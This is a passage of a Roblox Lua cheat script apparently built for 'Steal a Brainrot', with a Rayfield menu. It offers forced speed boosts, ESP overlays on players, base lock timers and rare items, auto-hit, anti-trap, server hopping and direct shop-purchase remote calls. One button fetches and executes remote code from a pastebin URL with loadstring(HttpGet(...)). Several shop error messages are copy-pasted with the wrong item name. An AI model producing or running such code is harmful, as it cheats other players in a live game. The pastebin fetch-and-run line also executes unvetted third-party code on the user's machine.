  965. local uicorner = Instance.new("UICorner")
  966. uicorner.CornerRadius = UDim.new(0, 12)
  967. uicorner.Parent = frame
  968.  
  969. -- Drop shadow
  970. local shadow = Instance.new("ImageLabel")
  971. shadow.Name = "Shadow"
  972. shadow.Image = "rbxassetid://1316045217"
  973. shadow.ImageTransparency = 0.4
  974. shadow.Size = UDim2.new(1, 20, 1, 20)
  975. shadow.Position = UDim2.new(0, -10, 0, -10)
  976. shadow.BackgroundTransparency = 1
  977. shadow.ZIndex = 0
  978. shadow.Parent = frame
  979.  
  980. -- Stroke (border)
  981. local stroke = Instance.new("UIStroke")
  982. stroke.Thickness = 2
  983. stroke.Color = Color3.fromRGB(255, 0, 0)
  984. stroke.Parent = frame
  985.  
  986. local toggleButton = Instance.new("TextButton")
  987. toggleButton.Size = UDim2.new(1, -20, 0.5, -10)
  988. toggleButton.Position = UDim2.new(0, 10, 0, 10)
  989. toggleButton.Text = "Boost: OFF"
  990. toggleButton.Font = Enum.Font.GothamBold
  991. toggleButton.TextSize = 20
  992. toggleButton.BackgroundColor3 = Color3.fromRGB(60, 0, 0)
  993. toggleButton.TextColor3 = Color3.new(1, 1, 1)
  994. toggleButton.Parent = frame
  995.  
  996. local closeButton = Instance.new("TextButton")
  997. closeButton.Size = UDim2.new(1, -20, 0.3, -5)
  998. closeButton.Position = UDim2.new(0, 10, 0.65, 0)
  999. closeButton.Text = "Close"
  1000. closeButton.Font = Enum.Font.Gotham
  1001. closeButton.TextSize = 18
  1002. closeButton.BackgroundColor3 = Color3.fromRGB(100, 0, 0)
  1003. closeButton.TextColor3 = Color3.new(1, 1, 1)
  1004. closeButton.Parent = frame
  1005.  
  1006. -- BOOST LOGIC
  1007. local function bindSpeedProtection(humanoid)
  1008. if speedConnection then speedConnection:Disconnect() end
  1009. speedConnection = humanoid.Changed:Connect(function(prop)
  1010. if prop == "WalkSpeed" and boostEnabled then
  1011. if humanoid.WalkSpeed ~= enforcedSpeed then
  1012. humanoid.WalkSpeed = enforcedSpeed
  1013. end
  1014. end
  1015. end)
  1016. end
  1017.  
  1018. local function setBoostState(on)
  1019. if not currentHumanoid then return end
  1020. boostEnabled = on
  1021. if on then
  1022. defaultSpeed = currentHumanoid.WalkSpeed
  1023. currentHumanoid.WalkSpeed = enforcedSpeed
  1024. bindSpeedProtection(currentHumanoid)
  1025. toggleButton.Text = "Boost: ON"
  1026. toggleButton.BackgroundColor3 = Color3.fromRGB(180, 0, 0)
  1027. else
  1028. if speedConnection then speedConnection:Disconnect() end
  1029. currentHumanoid.WalkSpeed = defaultSpeed
  1030. toggleButton.Text = "Boost: OFF"
  1031. toggleButton.BackgroundColor3 = Color3.fromRGB(60, 0, 0)
  1032. end
  1033. end
  1034.  
  1035. toggleButton.MouseButton1Click:Connect(function()
  1036. setBoostState(not boostEnabled)
  1037. end)
  1038.  
  1039. closeButton.MouseButton1Click:Connect(function()
  1040. screenGui.Enabled = false
  1041. end)
  1042.  
  1043. -- HANDLE CHARACTER AND HUMANOID
  1044. local function onCharacterAdded(character)
  1045. local hum = character:WaitForChild("Humanoid")
  1046. currentHumanoid = hum
  1047.  
  1048. -- Always reset to default on respawn
  1049. if boostEnabled then
  1050. currentHumanoid.WalkSpeed = enforcedSpeed
  1051. bindSpeedProtection(currentHumanoid)
  1052. else
  1053. currentHumanoid.WalkSpeed = defaultSpeed
  1054. end
  1055.  
  1056. -- Reapply defaultSpeed for next time
  1057. defaultSpeed = currentHumanoid.WalkSpeed
  1058.  
  1059. -- Cleanup on death
  1060. hum.Died:Connect(function()
  1061. if speedConnection then speedConnection:Disconnect() end
  1062. currentHumanoid = nil
  1063. end)
  1064. end
  1065.  
  1066. player.CharacterAdded:Connect(onCharacterAdded)
  1067. if player.Character then
  1068. onCharacterAdded(player.Character)
  1069. end
  1070.  
  1071. -- ENFORCE SPEED CONSTANTLY
  1072. RunService.Heartbeat:Connect(function()
  1073. if boostEnabled and currentHumanoid then
  1074. if currentHumanoid.WalkSpeed ~= enforcedSpeed then
  1075. currentHumanoid.WalkSpeed = enforcedSpeed
  1076. end
  1077. end
  1078. end)
  1079.  
  1080. -- ADD TO 'MainTab'
  1081. MainTab:CreateButton({
  1082. Name = "⚡️Open Boost UI",
  1083. Callback = function()
  1084. screenGui.Enabled = not screenGui.Enabled
  1085. end,
  1086. })
  1087.  
  1088. -- Add the toggle in MainTab
  1089. MainTab:CreateToggle({
  1090. Name = "👋Auto Hit",
  1091. CurrentValue = false,
  1092. Flag = "AutoActivateTools",
  1093. Callback = function(value)
  1094. autoActivateEnabled = value
  1095. end
  1096. })
  1097.  
  1098. local ShopTab = Window:CreateTab("🛒 Shop", 6034818371)
  1099. local EspTab = Window:CreateTab("👀 ESP", 6034818371)
  1100.  
  1101. local activeLockTimeEsp = false
  1102. local lteInstances = {}
  1103. local espUpdateTask = nil
  1104.  
  1105. local toggleButton
  1106.  
  1107. local function toggleLockTimeESP(state)
  1108. activeLockTimeEsp = state
  1109. if not activeLockTimeEsp then
  1110. for _, instance in pairs(lteInstances) do
  1111. if instance and instance.Parent then
  1112. instance:Destroy()
  1113. end
  1114. end
  1115. lteInstances = {}
  1116. end
  1117. end
  1118.  
  1119. local function updateLock()
  1120. if not activeLockTimeEsp then return end
  1121.  
  1122. for _, plot in pairs(workspace.Plots:GetChildren()) do
  1123. local purchases = plot:FindFirstChild("Purchases", true)
  1124. local plotBlock = purchases and purchases:FindFirstChild("PlotBlock", true)
  1125. local mainPart = plotBlock and plotBlock:FindFirstChild("Main", true)
  1126. local billboardGui = mainPart and mainPart:FindFirstChild("BillboardGui", true)
  1127. local timeLabel = billboardGui and billboardGui:FindFirstChild("RemainingTime", true)
  1128.  
  1129. if timeLabel and timeLabel:IsA("TextLabel") then
  1130. local espName = "LockTimeESP_" .. plot.Name
  1131. local existingBillboard = plot:FindFirstChild(espName)
  1132.  
  1133. local isUnlocked = timeLabel.Text == "0s"
  1134. local displayText = isUnlocked and "Unlocked" or ("Lock: " .. timeLabel.Text)
  1135.  
  1136. local textColor
  1137. if isUnlocked then
  1138. textColor = Color3.fromRGB(0, 255, 0) -- Green
  1139. else
  1140. textColor = Color3.fromRGB(255, 255, 0) -- Yellow
  1141. end
  1142.  
  1143. if not existingBillboard then
  1144. local billboard = Instance.new("BillboardGui")
  1145. billboard.Name = espName
  1146. billboard.Size = UDim2.new(0, 200, 0, 30)
  1147. billboard.StudsOffset = Vector3.new(0, 5, 0)
  1148. billboard.AlwaysOnTop = true
  1149. billboard.Adornee = mainPart
  1150.  
  1151. local label = Instance.new("TextLabel")
  1152. label.Text = displayText
  1153. label.Size = UDim2.new(1, 0, 1, 0)
  1154. label.BackgroundTransparency = 1
  1155. label.TextScaled = true
  1156. label.TextColor3 = textColor
  1157. label.TextStrokeColor3 = Color3.new(0, 0, 0)
  1158. label.TextStrokeTransparency = 0
  1159. label.Font = Enum.Font.SourceSansBold
  1160. label.Parent = billboard
  1161.  
  1162. billboard.Parent = plot
  1163. lteInstances[plot.Name] = billboard
  1164. else
  1165. local label = existingBillboard:FindFirstChildOfClass("TextLabel")
  1166. if label then
  1167. label.Text = displayText
  1168. label.TextColor3 = textColor
  1169. end
  1170. end
  1171. else
  1172. if lteInstances[plot.Name] then
  1173. lteInstances[plot.Name]:Destroy()
  1174. lteInstances[plot.Name] = nil
  1175. end
  1176. end
  1177. end
  1178. end
  1179.  
  1180. -- Create toggle but disable turning off once on
  1181. toggleButton = EspTab:CreateToggle({
  1182. Name = "🔒LockTime ESP",
  1183. CurrentValue = false,
  1184. Callback = function(enabled)
  1185. if enabled then
  1186. toggleLockTimeESP(true)
  1187. if espUpdateTask then
  1188. espUpdateTask:Cancel()
  1189. end
  1190. espUpdateTask = task.spawn(function()
  1191. while activeLockTimeEsp do
  1192. updateLock()
  1193. task.wait(0.25)
  1194. end
  1195. end)
  1196. else
  1197. -- Prevent turning off by resetting toggle to true
  1198. toggleButton:SetValue(true)
  1199. end
  1200. end
  1201. })
  1202.  
  1203. local espEnabled = false
  1204. local Players = game:GetService("Players")
  1205. local ESPObjects = {}
  1206.  
  1207. local function createESP(player)
  1208. if player == Players.LocalPlayer then return end
  1209.  
  1210. local function addESP(character)
  1211. local head = character:FindFirstChild("Head")
  1212. if not head or ESPObjects[player] then return end
  1213.  
  1214. local billboard = Instance.new("BillboardGui")
  1215. billboard.Name = "PlayerESP"
  1216. billboard.Adornee = head
  1217. billboard.AlwaysOnTop = true
  1218. billboard.Size = UDim2.new(0, 100, 0, 20)
  1219. billboard.StudsOffset = Vector3.new(0, 2.5, 0)
  1220.  
  1221. local label = Instance.new("TextLabel")
  1222. label.Size = UDim2.new(1, 0, 1, 0)
  1223. label.BackgroundTransparency = 1
  1224. label.TextColor3 = Color3.fromRGB(255, 0, 0)
  1225. label.TextStrokeTransparency = 0
  1226. label.TextStrokeColor3 = Color3.fromRGB(0, 0, 0)
  1227. label.Font = Enum.Font.SourceSansBold
  1228. label.TextScaled = true
  1229. label.Text = player.DisplayName or player.Name
  1230. label.Parent = billboard
  1231.  
  1232. billboard.Parent = head
  1233. ESPObjects[player] = billboard
  1234. end
  1235.  
  1236. if player.Character then
  1237. addESP(player.Character)
  1238. end
  1239.  
  1240. player.CharacterAdded:Connect(function(char)
  1241. task.wait(1)
  1242. if espEnabled then
  1243. addESP(char)
  1244. end
  1245. end)
  1246. end
  1247.  
  1248. local function enableESP()
  1249. for _, player in ipairs(Players:GetPlayers()) do
  1250. createESP(player)
  1251. end
  1252.  
  1253. Players.PlayerAdded:Connect(function(player)
  1254. if espEnabled then
  1255. createESP(player)
  1256. end
  1257. end)
  1258. end
  1259.  
  1260. local function disableESP()
  1261. for player, esp in pairs(ESPObjects) do
  1262. if esp then
  1263. esp:Destroy()
  1264. end
  1265. end
  1266. table.clear(ESPObjects)
  1267. end
  1268.  
  1269. -- 🎛️ Add toggle to your GUI tab
  1270. EspTab:CreateToggle({
  1271. Name = "📇Player Name ESP",
  1272. CurrentValue = false,
  1273. Flag = "NameESP",
  1274. Callback = function(state)
  1275. espEnabled = state
  1276. if state then
  1277. enableESP()
  1278. else
  1279. disableESP()
  1280. end
  1281. end
  1282. })
  1283.  
  1284. local brainrotGods = {
  1285. ["Cocofanto Elefanto"] = true,
  1286. ["Girafa Celestre"] = true,
  1287. ["Matteo"] = true,
  1288. ["Tralalero Tralala"] = true,
  1289. ["Odin Din Din Dun"] = true,
  1290. ["Unclito Samito"] = true,
  1291. ["Trenostruzzo Turbo 3000"] = true,
  1292. }
  1293.  
  1294. local godESPObjects = {}
  1295. local godESPEnabled = false
  1296.  
  1297. local function getAttachmentPart(model)
  1298. if model.PrimaryPart then return model.PrimaryPart end
  1299. for _, part in ipairs(model:GetDescendants()) do
  1300. if part:IsA("BasePart") then
  1301. return part
  1302. end
  1303. end
  1304. return nil
  1305. end
  1306.  
  1307. local function createGodESP(model)
  1308. if model:FindFirstChild("BrainrotESP") then return end
  1309. local adorneePart = getAttachmentPart(model)
  1310. if not adorneePart then return end
  1311.  
  1312. local billboard = Instance.new("BillboardGui")
  1313. billboard.Name = "BrainrotESP"
  1314. billboard.Adornee = adorneePart
  1315. billboard.Size = UDim2.new(0, 166, 0, 33) -- slightly smaller
  1316. billboard.StudsOffset = Vector3.new(0, 4, 0)
  1317. billboard.AlwaysOnTop = true
  1318. billboard.LightInfluence = 0
  1319. billboard.Parent = model
  1320.  
  1321. local label = Instance.new("TextLabel")
  1322. label.Size = UDim2.new(1, 0, 1, 0)
  1323. label.BackgroundTransparency = 1
  1324. label.Text = "🧠" .. model.Name
  1325. label.TextColor3 = Color3.fromRGB(0, 170, 255) -- bright blue
  1326. label.TextStrokeTransparency = 0
  1327. label.TextStrokeColor3 = Color3.new(0, 0, 0)
  1328. label.Font = Enum.Font.GothamBlack
  1329. label.TextSize = 16
  1330. label.ZIndex = 10
  1331. label.ClipsDescendants = true
  1332. label.Parent = billboard
  1333.  
  1334. godESPObjects[model] = billboard
  1335. end
  1336.  
  1337. local function enableGodESP()
  1338. godESPEnabled = true
  1339. for _, model in ipairs(workspace:GetChildren()) do
  1340. if model:IsA("Model") and brainrotGods[model.Name] then
  1341. createGodESP(model)
  1342. end
  1343. end
  1344. end
  1345.  
  1346. local function disableGodESP()
  1347. godESPEnabled = false
  1348. for model, billboard in pairs(godESPObjects) do
  1349. if billboard and billboard.Parent then
  1350. billboard:Destroy()
  1351. end
  1352. end
  1353. godESPObjects = {}
  1354. end
  1355.  
  1356. workspace.ChildAdded:Connect(function(child)
  1357. if godESPEnabled and child:IsA("Model") and brainrotGods[child.Name] then
  1358. createGodESP(child)
  1359. end
  1360. end)
  1361.  
  1362. -- Replace 'EspTab' with your actual Rayfield tab variable
  1363. EspTab:CreateToggle({
  1364. Name = "☠️ Brainrot God Esp",
  1365. CurrentValue = false,
  1366. Flag = "BrainrotGodESP",
  1367. Callback = function(state)
  1368. if state then
  1369. enableGodESP()
  1370. else
  1371. disableGodESP()
  1372. end
  1373. end,
  1374. })
  1375.  
  1376. local secretBrainrots = {
  1377. ["La Vacca Saturno Saturnita"] = true,
  1378. ["Los Tralaleritos"] = true,
  1379. ["Sammyni Spyderini"] = true,
  1380. ["Graipuss Medussi"] = true,
  1381. ["La Grande Combinazione"] = true,
  1382. ["Garama and Madundung"] = true,
  1383. }
  1384.  
  1385. local secretESPObjects = {}
  1386. local secretESPEnabled = false
  1387.  
  1388. local function getAttachmentPart(model)
  1389. if model.PrimaryPart then return model.PrimaryPart end
  1390. for _, part in ipairs(model:GetDescendants()) do
  1391. if part:IsA("BasePart") then
  1392. return part
  1393. end
  1394. end
  1395. return nil
  1396. end
  1397.  
  1398. local function createSecretESP(model)
  1399. if model:FindFirstChild("SecretBrainrotESP") then return end
  1400. local adorneePart = getAttachmentPart(model)
  1401. if not adorneePart then return end
  1402.  
  1403. local billboard = Instance.new("BillboardGui")
  1404. billboard.Name = "SecretBrainrotESP"
  1405. billboard.Adornee = adorneePart
  1406. billboard.Size = UDim2.new(0, 166, 0, 33)
  1407. billboard.StudsOffset = Vector3.new(0, 5, 0)
  1408. billboard.AlwaysOnTop = true
  1409. billboard.LightInfluence = 0
  1410. billboard.Parent = model
  1411.  
  1412. local label = Instance.new("TextLabel")
  1413. label.Size = UDim2.new(1, 0, 1, 0)
  1414. label.BackgroundTransparency = 1
  1415. label.Text = "🤫 " .. model.Name
  1416. label.TextColor3 = Color3.fromRGB(255, 128, 0)
  1417. label.TextStrokeTransparency = 0
  1418. label.TextStrokeColor3 = Color3.fromRGB(0, 0, 0)
  1419. label.Font = Enum.Font.GothamBold
  1420. label.TextSize = 16
  1421. label.ZIndex = 10
  1422. label.ClipsDescendants = true
  1423. label.Parent = billboard
  1424.  
  1425. secretESPObjects[model] = billboard
  1426. end
  1427.  
  1428. local function enableSecretESP()
  1429. secretESPEnabled = true
  1430. for _, model in ipairs(workspace:GetChildren()) do
  1431. if model:IsA("Model") and secretBrainrots[model.Name] then
  1432. createSecretESP(model)
  1433. end
  1434. end
  1435. end
  1436.  
  1437. local function disableSecretESP()
  1438. secretESPEnabled = false
  1439. for model, billboard in pairs(secretESPObjects) do
  1440. if billboard and billboard.Parent then
  1441. billboard:Destroy()
  1442. end
  1443. end
  1444. secretESPObjects = {}
  1445. end
  1446.  
  1447. workspace.ChildAdded:Connect(function(child)
  1448. if secretESPEnabled and child:IsA("Model") and secretBrainrots[child.Name] then
  1449. createSecretESP(child)
  1450. end
  1451. end)
  1452.  
  1453. -- Replace 'EspTab' with your actual Rayfield tab variable
  1454. EspTab:CreateToggle({
  1455. Name = "🤫Secret Brainrot Esp",
  1456. CurrentValue = false,
  1457. Flag = "SecretBrainrotESP",
  1458. Callback = function(state)
  1459. if state then
  1460. enableSecretESP()
  1461. else
  1462. disableSecretESP()
  1463. end
  1464. end,
  1465. })
  1466.  
  1467. local UtilsTab = Window:CreateTab("🛠️ Utils", 6034818371)
  1468.  
  1469. -- 🟥 Then add the rest (GUI logic, etc.)
  1470. local Players = game:GetService("Players")
  1471. local player = Players.LocalPlayer
  1472. local playerGui = player:WaitForChild("PlayerGui")
  1473.  
  1474. local leaveGui = Instance.new("ScreenGui")
  1475. leaveGui.Name = "LeaveButtonGUI"
  1476. leaveGui.ResetOnSpawn = false
  1477. leaveGui.Enabled = false
  1478. leaveGui.DisplayOrder = 1000
  1479. leaveGui.Parent = playerGui
  1480.  
  1481. local leaveButton = Instance.new("TextButton")
  1482. leaveButton.Size = UDim2.new(0, 100, 0, 40)
  1483. leaveButton.Position = UDim2.new(0.5, -50, 0, 10)
  1484. leaveButton.AnchorPoint = Vector2.new(0.5, 0)
  1485. leaveButton.BackgroundColor3 = Color3.fromRGB(255, 50, 50)
  1486. leaveButton.Text = "Leave"
  1487. leaveButton.Font = Enum.Font.SourceSansBold
  1488. leaveButton.TextSize = 22
  1489. leaveButton.TextColor3 = Color3.new(1, 1, 1)
  1490. leaveButton.ZIndex = 999
  1491. leaveButton.Parent = leaveGui
  1492.  
  1493. leaveButton.MouseButton1Click:Connect(function()
  1494. player:Kick("You chose to leave the game.")
  1495. end)
  1496.  
  1497. -- 🔘 Toggle to control the Leave GUI
  1498. UtilsTab:CreateToggle({
  1499. Name = "Toggle Leave GUI",
  1500. CurrentValue = false,
  1501. Callback = function(state)
  1502. leaveGui.Enabled = state
  1503. end,
  1504. })
  1505.  
  1506. local Players = game:GetService("Players")
  1507. local TeleportService = game:GetService("TeleportService")
  1508. local player = Players.LocalPlayer
  1509. local playerGui = player:WaitForChild("PlayerGui")
  1510.  
  1511. -- Create Rejoin GUI (starts disabled)
  1512. local rejoinGui = Instance.new("ScreenGui")
  1513. rejoinGui.Name = "RejoinButtonGUI"
  1514. rejoinGui.ResetOnSpawn = false
  1515. rejoinGui.Enabled = false
  1516. rejoinGui.DisplayOrder = 1000
  1517. rejoinGui.Parent = playerGui
  1518.  
  1519. local rejoinButton = Instance.new("TextButton")
  1520. rejoinButton.Size = UDim2.new(0, 100, 0, 40)
  1521. rejoinButton.Position = UDim2.new(0.5, 54, 0, 10) -- 4 px right of center
  1522. rejoinButton.AnchorPoint = Vector2.new(0.5, 0)
  1523. rejoinButton.BackgroundColor3 = Color3.fromRGB(50, 150, 255)
  1524. rejoinButton.Text = "Rejoin"
  1525. rejoinButton.Font = Enum.Font.SourceSansBold
  1526. rejoinButton.TextSize = 22
  1527. rejoinButton.TextColor3 = Color3.new(1, 1, 1)
  1528. rejoinButton.ZIndex = 999
  1529. rejoinButton.Parent = rejoinGui
  1530.  
  1531. rejoinButton.MouseButton1Click:Connect(function()
  1532. local placeId = game.PlaceId
  1533. local jobId = game.JobId
  1534. TeleportService:TeleportToPlaceInstance(placeId, jobId, player)
  1535. end)
  1536.  
  1537. -- Add toggle to UtilsTab to show/hide the Rejoin GUI
  1538. UtilsTab:CreateToggle({
  1539. Name = "Toggle Rejoin GUI",
  1540. CurrentValue = false,
  1541. Callback = function(state)
  1542. rejoinGui.Enabled = state
  1543. end,
  1544. })
  1545.  
  1546. local Players = game:GetService("Players")
  1547. local player = Players.LocalPlayer
  1548. local playerGui = player:WaitForChild("PlayerGui")
  1549. local HttpService = game:GetService("HttpService")
  1550. local TeleportService = game:GetService("TeleportService")
  1551.  
  1552. -- Create Server Hop GUI (hidden by default)
  1553. local serverHopGui = Instance.new("ScreenGui")
  1554. serverHopGui.Name = "ServerHopGUI"
  1555. serverHopGui.ResetOnSpawn = false
  1556. serverHopGui.DisplayOrder = 1000
  1557. serverHopGui.Parent = playerGui
  1558. serverHopGui.Enabled = false -- start hidden
  1559.  
  1560. local frame = Instance.new("Frame")
  1561. frame.Size = UDim2.new(0, 150, 0, 40)
  1562. frame.Position = UDim2.new(0.5, 160, 0, 10)
  1563. frame.AnchorPoint = Vector2.new(0.5, 0)
  1564. frame.BackgroundColor3 = Color3.fromRGB(50, 205, 50)
  1565. frame.BorderSizePixel = 0
  1566. frame.Parent = serverHopGui
  1567. frame.Active = true
  1568. frame.Draggable = true
  1569.  
  1570. local button = Instance.new("TextButton")
  1571. button.Size = UDim2.new(1, 0, 1, 0)
  1572. button.BackgroundTransparency = 1
  1573. button.Text = "Server Hop"
  1574. button.Font = Enum.Font.SourceSansBold
  1575. button.TextSize = 22
  1576. button.TextColor3 = Color3.new(1, 1, 1)
  1577. button.Parent = frame
  1578.  
  1579. -- Server Hop logic variables
  1580. local PlaceID = game.PlaceId
  1581. local AllIDs = {}
  1582. local foundAnything = ""
  1583. local actualHour = os.date("!*t").hour
  1584. local hopping = false
  1585.  
  1586. local function loadVisited()
  1587. local success, data = pcall(function()
  1588. return HttpService:JSONDecode(readfile("NotSameServers.json"))
  1589. end)
  1590. if success and type(data) == "table" then
  1591. AllIDs = data
  1592. else
  1593. AllIDs = {actualHour}
  1594. pcall(function()
  1595. writefile("NotSameServers.json", HttpService:JSONEncode(AllIDs))
  1596. end)
  1597. end
  1598. end
  1599. loadVisited()
  1600.  
  1601. local function saveVisited()
  1602. pcall(function()
  1603. writefile("NotSameServers.json", HttpService:JSONEncode(AllIDs))
  1604. end)
  1605. end
  1606.  
  1607. local function TPReturner()
  1608. local Site
  1609. if foundAnything == "" then
  1610. Site = HttpService:JSONDecode(game:HttpGet('https://games.roblox.com/v1/games/' .. PlaceID .. '/servers/Public?sortOrder=Asc&limit=100'))
  1611. else
  1612. Site = HttpService:JSONDecode(game:HttpGet('https://games.roblox.com/v1/games/' .. PlaceID .. '/servers/Public?sortOrder=Asc&limit=100&cursor=' .. foundAnything))
  1613. end
  1614.  
  1615. if Site.nextPageCursor and Site.nextPageCursor ~= "null" and Site.nextPageCursor ~= nil then
  1616. foundAnything = Site.nextPageCursor
  1617. else
  1618. foundAnything = ""
  1619. end
  1620.  
  1621. local num = 0
  1622. for i, v in pairs(Site.data) do
  1623. if not hopping then return end
  1624. local Possible = true
  1625. local ID = tostring(v.id)
  1626. if tonumber(v.maxPlayers) > tonumber(v.playing) then
  1627. for _, Existing in pairs(AllIDs) do
  1628. if num ~= 0 then
  1629. if ID == tostring(Existing) then
  1630. Possible = false
  1631. break
  1632. end
  1633. else
  1634. if tonumber(actualHour) ~= tonumber(Existing) then
  1635. pcall(function()
  1636. delfile("NotSameServers.json")
  1637. AllIDs = {actualHour}
  1638. saveVisited()
  1639. end)
  1640. end
  1641. end
  1642. end
  1643. if Possible then
  1644. table.insert(AllIDs, ID)
  1645. saveVisited()
  1646. pcall(function()
  1647. TeleportService:TeleportToPlaceInstance(PlaceID, ID, player)
  1648. end)
  1649. wait(4)
  1650. return
  1651. end
  1652. end
  1653. num = num + 1
  1654. end
  1655. end
  1656.  
  1657. local function serverHopLoop()
  1658. while hopping do
  1659. local success, err = pcall(TPReturner)
  1660. if not success then warn(err) end
  1661. wait(1)
  1662. end
  1663. end
  1664.  
  1665. -- Toggle hopping state on button click inside custom GUI
  1666. button.MouseButton1Click:Connect(function()
  1667. hopping = not hopping
  1668. if hopping then
  1669. button.Text = "Stop Server Hop"
  1670. task.spawn(serverHopLoop)
  1671. else
  1672. button.Text = "Server Hop"
  1673. end
  1674. end)
  1675.  
  1676. -- Rayfield toggle just shows/hides the custom GUI
  1677. UtilsTab:CreateToggle({
  1678. Name = "Server Hop GUI",
  1679. CurrentValue = false,
  1680. Flag = "ServerHopGUIToggle",
  1681. Callback = function(value)
  1682. serverHopGui.Enabled = value
  1683. end,
  1684. })
  1685.  
  1686. MainTab:CreateToggle({
  1687. Name = "👻Show Invisible Players",
  1688. CurrentValue = visibilityEnabled,
  1689. Flag = "VisibilityToggle",
  1690. Callback = function(s)
  1691. visibilityEnabled = s
  1692. if s then
  1693. for _,p in ipairs(Players:GetPlayers()) do
  1694. if p.Character then onCharacterAdded(p.Character) end
  1695. p.CharacterAdded:Connect(onCharacterAdded)
  1696. if p:FindFirstChild("Backpack") then
  1697. p.Backpack.ChildAdded:Connect(function(tool)
  1698. local handle = tool:FindFirstChild("Handle")
  1699. if handle then handle.Transparency=0; handle.CanCollide=false end
  1700. end)
  1701. end
  1702. end
  1703. task.spawn(function()
  1704. while visibilityEnabled do
  1705. for _,p in ipairs(Players:GetPlayers()) do
  1706. if p.Character then
  1707. makeCharacterVisible(p.Character)
  1708. makeToolsVisible(p)
  1709. end
  1710. end
  1711. task.wait(2)
  1712. end
  1713. end)
  1714. end
  1715. end
  1716. })
  1717.  
  1718. MainTab:CreateButton({
  1719. Name = "🥷Steal Tween gui",
  1720. Callback = function()
  1721. loadstring(game:HttpGet("https://pastebin.com/raw/qrFryUJ2",true))()
  1722. end,
  1723. })
  1724.  
  1725. MainTab:CreateToggle({
  1726. Name = "🪤Anti Trap",
  1727. CurrentValue = false,
  1728. Flag = "AntiTrapToggle",
  1729. Callback = function(s)
  1730. antiTrapEnabled=s
  1731. if s then startAntiTrap() end
  1732. end
  1733. })
  1734.  
  1735. MainTab:CreateToggle({
  1736. Name = "🐍Auto Activate Medusa's Head",
  1737. CurrentValue = false,
  1738. Flag = "AutoMedusaToggle",
  1739. Callback = function(s) medusaEnabled=s end
  1740. })
  1741.  
  1742. MainTab:CreateToggle({
  1743. Name = "🔫Bring Nearby Sentry To Destroy",
  1744. CurrentValue = false,
  1745. Callback = function(s) sentryActive = s end
  1746. })
  1747.  
  1748. -- Add ShopNPCCash toggle
  1749. MainTab:CreateToggle({
  1750. Name = "🛒Bring The Shop To You",
  1751. CurrentValue = false,
  1752. Callback = function(s)
  1753. shopNPCCashActive = s
  1754. if s then
  1755. task.spawn(manageShopNPCCash)
  1756. end
  1757. end
  1758. })
  1759.  
  1760. -- Medusa detection loop
  1761. RunService.Heartbeat:Connect(function()
  1762. if medusaEnabled and not medusaCooldown then
  1763. local hrp = LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
  1764. if hrp then
  1765. for _,p in ipairs(Players:GetPlayers()) do
  1766. if p~=LocalPlayer and p.Character then
  1767. local o = p.Character:FindFirstChild("HumanoidRootPart")
  1768. if o and (hrp.Position-o.Position).Magnitude<=medusaRange then
  1769. activateMedusa()
  1770. break
  1771. end
  1772. end
  1773. end
  1774. end
  1775. end
  1776. end)
  1777.  
  1778.  
  1779. MainTab:CreateToggle({
  1780. Name = "Zues hub By Ken_i",
  1781. CurrentValue = false,
  1782. Flag = "RagdollServerToggle",
  1783. Callback = function(enabled)
  1784. ragdollEnabled = enabled
  1785. if not enabled then
  1786. DetachedLimbs = {}
  1787. hidePrompt()
  1788. end
  1789. end
  1790. })
  1791.  
  1792. ShopTab:CreateButton({
  1793. Name = "All Seeing Sentry",
  1794. Callback = function()
  1795. local args = { "All Seeing Sentry" }
  1796. local success, err = pcall(function()
  1797. game:GetService("ReplicatedStorage")
  1798. .Packages.Net:FindFirstChild("RF/CoinsShopService/RequestBuy")
  1799. :InvokeServer(unpack(args))
  1800. end)
  1801. if not success then
  1802. warn("Failed to purchase All Seeing Sentry:", err)
  1803. end
  1804. end
  1805.  
  1806. })
  1807.  
  1808. ShopTab:CreateButton({
  1809. Name = "Invisibility Cloak",
  1810. Callback = function()
  1811. local args = { "Invisibility Cloak" }
  1812. local success, err = pcall(function()
  1813. game:GetService("ReplicatedStorage")
  1814. .Packages.Net:FindFirstChild("RF/CoinsShopService/RequestBuy")
  1815. :InvokeServer(unpack(args))
  1816. end)
  1817. if not success then
  1818. warn("Failed to purchase All Seeing Sentry:", err)
  1819. end
  1820. end
  1821.  
  1822. })
  1823.  
  1824. ShopTab:CreateButton({
  1825. Name = "Trap",
  1826. Callback = function()
  1827. local args = { "Trap" }
  1828. local success, err = pcall(function()
  1829. game:GetService("ReplicatedStorage")
  1830. .Packages.Net:FindFirstChild("RF/CoinsShopService/RequestBuy")
  1831. :InvokeServer(unpack(args))
  1832. end)
  1833. if not success then
  1834. warn("Failed to purchase All Seeing Sentry:", err)
  1835. end
  1836. end
  1837.  
  1838. })
  1839.  
  1840. ShopTab:CreateButton({
  1841. Name = "Medusa",
  1842. Callback = function()
  1843. local args = {"Medusa's Head" }
  1844. local success, err = pcall(function()
  1845. game:GetService("ReplicatedStorage")
  1846. .Packages.Net:FindFirstChild("RF/CoinsShopService/RequestBuy")
  1847. :InvokeServer(unpack(args))
  1848. end)
  1849. if not success then
  1850. warn("Failed to purchase All Seeing Sentry:", err)
  1851. end
  1852. end
  1853.  
  1854. })
  1855.  
  1856. ShopTab:CreateButton({
  1857. Name = "Quantum Cloner",
  1858. Callback = function()
  1859. local args = {"Quantum Cloner"}
  1860. local success, err = pcall(function()
  1861. game:GetService("ReplicatedStorage")
  1862. .Packages.Net:FindFirstChild("RF/CoinsShopService/RequestBuy")
  1863. :InvokeServer(unpack(args))
  1864. end)
  1865. if not success then
  1866. warn("Failed to purchase All Seeing Sentry:", err)
  1867. end
  1868. end
  1869.  
  1870. })
  1871.  
  1872. ShopTab:CreateButton({
  1873. Name = "Web Slinger",
  1874. Callback = function()
  1875. local args = {"Web Slinger"}
  1876. local success, err = pcall(function()
  1877. game:GetService("ReplicatedStorage")
  1878. .Packages.Net:FindFirstChild("RF/CoinsShopService/RequestBuy")
  1879. :InvokeServer(unpack(args))
  1880. end)
  1881. if not success then
  1882. warn("Failed to purchase All Seeing Sentry:", err)
  1883. end
  1884. end
  1885.  
  1886. })
  1887.  
  1888. ShopTab:CreateButton({
  1889. Name = "Rainbowrath Sword",
  1890. Callback = function()
  1891. local args = {"Rainbowrath Sword"}
  1892. local success, err = pcall(function()
  1893. game:GetService("ReplicatedStorage")
  1894. .Packages.Net:FindFirstChild("RF/CoinsShopService/RequestBuy")
  1895. :InvokeServer(unpack(args))
  1896. end)
  1897. if not success then
  1898. warn("Failed to purchase All Seeing Sentry:", err)
  1899. end
  1900. end
  1901.  
  1902. })
  1903.  
